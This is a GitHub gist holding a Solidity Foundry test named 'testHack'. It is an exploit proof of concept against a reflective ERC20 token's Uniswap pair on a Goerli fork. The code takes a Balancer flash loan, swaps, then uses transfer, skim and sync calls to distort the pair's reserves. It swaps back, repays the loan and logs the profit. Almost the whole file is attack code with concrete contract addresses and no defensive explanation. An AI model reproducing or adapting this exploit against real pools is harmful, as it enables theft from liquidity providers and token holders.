Skip to content

Instantly share code, notes, and snippets.

@MrFatoni
Created February 16, 2023 10:20
Show Gist options
  • Save MrFatoni/65a72805475e866225c2c91f02d48b5a to your computer and use it in GitHub Desktop.
Save MrFatoni/65a72805475e866225c2c91f02d48b5a to your computer and use it in GitHub Desktop.
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
import "forge-std/Test.sol";
contract asdadsadsadss is Test {
WETH9 private constant WETH = WETH9(0xB4FBF271143F4FBf7B91A5ded31805e42b2208d6);
reflectiveERC20 private constant TKN = reflectiveERC20(0x4F252dBE5FD366b38842Cd500281932746047299);
IBalancerVault private constant balancerVault = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);
IRouter private constant router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
IUniswapV2Pair private constant WETH_TKN = IUniswapV2Pair(0x21C2F152A0c2D21D1D633cBDF848c848aE986E28);
IUniswapV2Pair private constant flashloan = IUniswapV2Pair(0xb3A16C2B68BBB0111EbD27871a5934b949837D95);
function testHack() public {
vm.createSelectFork("https://eth-goerli.public.blastapi.io", 8500066);
// flashloan.swap(2 ether, 0, address(this), "0x"); //flashloan
address[] memory tokens = new address[](1);
tokens[0] = address(WETH);
uint256[] memory amounts = new uint256[](1);
amounts[0] = 40 ether;
balancerVault.flashLoan(address(this), tokens, amounts, "");
}
function receiveFlashLoan(
reflectiveERC20[] memory,
uint256[] memory amounts,
uint256[] memory,
bytes memory
) external {
WETH.approve(address(WETH_TKN), type(uint256).max);
TKN.approve(address(WETH_TKN), type(uint256).max);
WETH.transfer(address(WETH_TKN), 40 ether);
WETH_TKN.swap(
85.7 ether,
0,
address(this),
""
);
emit log_named_decimal_uint("After swap: TKN balance this", TKN.balanceOf(address(this)), 18);
emit log_named_decimal_uint("After swap: TKN pair", TKN.balanceOf(address(WETH_TKN)), 18);
TKN.transfer(address(WETH_TKN), TKN.balanceOf(address(this)) - 3.7 ether);
emit log_named_decimal_uint("After tf: TKN balance this", TKN.balanceOf(address(this)), 18);
emit log_named_decimal_uint("After tf: TKN pair", TKN.balanceOf(address(WETH_TKN)), 18);
WETH_TKN.skim(address(this));
WETH_TKN.sync();
emit log_named_decimal_uint("After skim: TKN balance this", TKN.balanceOf(address(this)), 18);
emit log_named_decimal_uint("After skim: TKN pair", TKN.balanceOf(address(WETH_TKN)), 18);
TKN.transfer(address(WETH_TKN), TKN.balanceOf(address(this)) - 2.5 ether);
WETH_TKN.swap(0, 40.92 ether, address(this), "");
emit log_named_decimal_uint("After swap, WBNB balance pair", WETH.balanceOf(address(WETH_TKN)), 18);
emit log_named_decimal_uint("After swap, WBNB balance this", WETH.balanceOf(address(this)), 18);
emit log_named_decimal_uint("After swap: TKN balance this", TKN.balanceOf(address(this)), 18);
emit log_named_decimal_uint("After swap: TKN pair", TKN.balanceOf(address(WETH_TKN)), 18);
WETH.transfer(address(balancerVault), 40 ether); //flashloan
emit log_string("-=-=-=-=-=-=-=-=-=-=-=-=");
emit log_named_decimal_uint("bayar utang, rofit: WBNB", WETH.balanceOf(address(this)), 18);
}
}
interface reflectiveERC20 {
function burn(uint256 amount) external;
function totalSupply() external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function approve(address spender, uint256 amount) external returns (bool);
function balanceOf(address account) external view returns (uint256);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function deliver(uint256 tAmount) external;
function myPush(address _address) external view returns(uint256);
}
interface WETH9 {
function deposit() external payable;
function transfer(address to, uint256 value) external returns (bool);
function approve(address guy, uint256 wad) external returns (bool);
function withdraw(uint256 wad) external;
function balanceOf(address) external view returns (uint256);
}
interface IBalancerVault {
function flashLoan(
address recipient,
address[] memory tokens,
uint256[] memory amounts,
bytes memory userData
) external;
}
interface IRouter {
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
}
interface IUniswapV2Pair {
function approve(address spender, uint256 amount) external returns (bool);
function balanceOf(address) external view returns (uint256);
function skim(address to) external;
function sync() external;
function swap(
uint256 amount0Out,
uint256 amount1Out,
address to,
bytes memory data
) external;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment